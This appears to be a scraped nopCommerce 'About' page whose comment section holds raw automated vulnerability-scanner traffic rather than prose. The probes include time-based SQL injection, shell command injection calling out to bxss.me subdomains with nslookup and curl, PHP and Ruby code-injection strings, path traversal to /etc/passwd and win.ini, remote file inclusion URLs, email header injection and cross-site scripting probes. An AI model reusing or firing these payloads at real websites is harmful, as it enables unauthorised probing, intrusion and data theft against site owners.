About nopCommerce

This is a sample comment...

1

1

1

1

1

1

1<esi:include src="http://bxss.me/rpb.png"/>

1

${10000456+9999651}

1

1

1

1

'.gethostbyname(lc('hitwh'.'vhojlbzt5bc8a.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(118).chr(85).chr(99).chr(66).'

1

".gethostbyname(lc("hiteo"."rzslqkcr48e21.bxss.me."))."A".chr(67).chr(hex("58")).chr(113).chr(65).chr(112).chr(87)."

1

1

1

1

1

1

1

1

1

1

1

1

http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg

1

1

HttP://bxss.me/t/xss.html?%00

1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg

1

1

bxss.me/t/xss.html?%00

Http://bxss.me/t/fit.txt

1

1

http://bxss.me/t/fit.txt%3F.jpg

1

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

1

/etc/shells

';print(md5(31337));$a='

c:/windows/win.ini

";print(md5(31337));$a="

bxss.me

${@print(md5(31337))}

1

${@print(md5(31337))}\

1

1

'.print(md5(31337)).'

"+"A".concat(70-3).concat(22*4).concat(118).concat(85).concat(119).concat(76)+(require"socket"
Socket.gethostbyname("hitmi"+"yxgadmrm261e2.bxss.me.")[3].to_s)+"

'+'A'.concat(70-3).concat(22*4).concat(111).concat(77).concat(99).concat(82)+(require'socket'
Socket.gethostbyname('hitpr'+'xdegzylv65385.bxss.me.')[3].to_s)+'

'"()

1'&&sleep(27*1000)*mpsxet&&'

1"&&sleep(27*1000)*tciyvd&&"

1'||sleep(27*1000)*rnrvdo||'

1"||sleep(27*1000)*blrbkw||"

1

/../../../../../../../../../../windows/system32/BITSADMIN.exe

1

1

1

1

)

!(()&&!|*|*|

1

^(#$!@#$)(()))******

1

1

1

1

1

1

1

1

1

1

1

1%0abcc:009247.26518-4760.26518.5e4ec.19691.2@bxss.me

../../../../../../../../../../../../../../etc/passwd

1

1gkdim8pO

1

to@example.com>%0d%0abcc:009247.26518-4761.26518.5e4ec.19691.2@bxss.me

../../../../../../../../../../../../../../windows/win.ini

1

1

file:///etc/passwd

'"

1

1

<!--

1

../1

1

1

1

1

1

echo nqragx$()\ gdodzs\nz^xyu||a #' &echo nqragx$()\ gdodzs\nz^xyu||a #|" &echo nqragx$()\ gdodzs\nz^xyu||a #

1

&echo mjyqth$()\ cbvzfl\nz^xyu||a #' &echo mjyqth$()\ cbvzfl\nz^xyu||a #|" &echo mjyqth$()\ cbvzfl\nz^xyu||a #

response.write(9296150*9966218)

|echo cdajwg$()\ csghva\nz^xyu||a #' |echo cdajwg$()\ csghva\nz^xyu||a #|" |echo cdajwg$()\ csghva\nz^xyu||a #

'+response.write(9296150*9966218)+'

(nslookup -q=cname hitgtcryhawlf6f330.bxss.me||curl hitgtcryhawlf6f330.bxss.me))

"+response.write(9296150*9966218)+"

$(nslookup -q=cname hitufidxtmbmdd417d.bxss.me||curl hitufidxtmbmdd417d.bxss.me)

&nslookup -q=cname hitwyamkenrki41d93.bxss.me&'\"`0&nslookup -q=cname hitwyamkenrki41d93.bxss.me&`'

&(nslookup -q=cname hitythkamtgmg0b8c3.bxss.me||curl hitythkamtgmg0b8c3.bxss.me)&'\"`0&(nslookup -q=cname hitythkamtgmg0b8c3.bxss.me||curl hitythkamtgmg0b8c3.bxss.me)&`'

|(nslookup -q=cname hitckywflxboyeaa8d.bxss.me||curl hitckywflxboyeaa8d.bxss.me)

`(nslookup -q=cname hitxzssuhksepa17a3.bxss.me||curl hitxzssuhksepa17a3.bxss.me)`

;(nslookup -q=cname hitowdymioils13bbc.bxss.me||curl hitowdymioils13bbc.bxss.me)|(nslookup -q=cname hitowdymioils13bbc.bxss.me||curl hitowdymioils13bbc.bxss.me)&(nslookup -q=cname hitowdymioils13bbc.bxss.me||curl hitowdymioils13bbc.bxss.me)

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

-1 OR 2+211-211-1=0+0+0+1 --

-1 OR 2+443-443-1=0+0+0+1

-1' OR 2+113-113-1=0+0+0+1 --

-1' OR 2+553-553-1=0+0+0+1 or '7Hs5cCPF'='

-1" OR 2+161-161-1=0+0+0+1 --

if(now()=sysdate(),sleep(15),0)

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

-1; waitfor delay '0:0:15' --

-1); waitfor delay '0:0:15' --

-1)); waitfor delay '0:0:15' --

1 waitfor delay '0:0:15' --

SKGFbIja'; waitfor delay '0:0:15' --

IIuKKKS6'); waitfor delay '0:0:15' --

kk891QVi')); waitfor delay '0:0:15' --

-5 OR 13=(SELECT 13 FROM PG_SLEEP(15))--

-5) OR 786=(SELECT 786 FROM PG_SLEEP(15))--

-1)) OR 636=(SELECT 636 FROM PG_SLEEP(15))--

yoavKaIK' OR 637=(SELECT 637 FROM PG_SLEEP(15))--

IBcfN8ie') OR 743=(SELECT 743 FROM PG_SLEEP(15))--

K4Sfg1Y7')) OR 324=(SELECT 324 FROM PG_SLEEP(15))--

1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

1'"

1����%2527%2522

@@wKwOi

1

1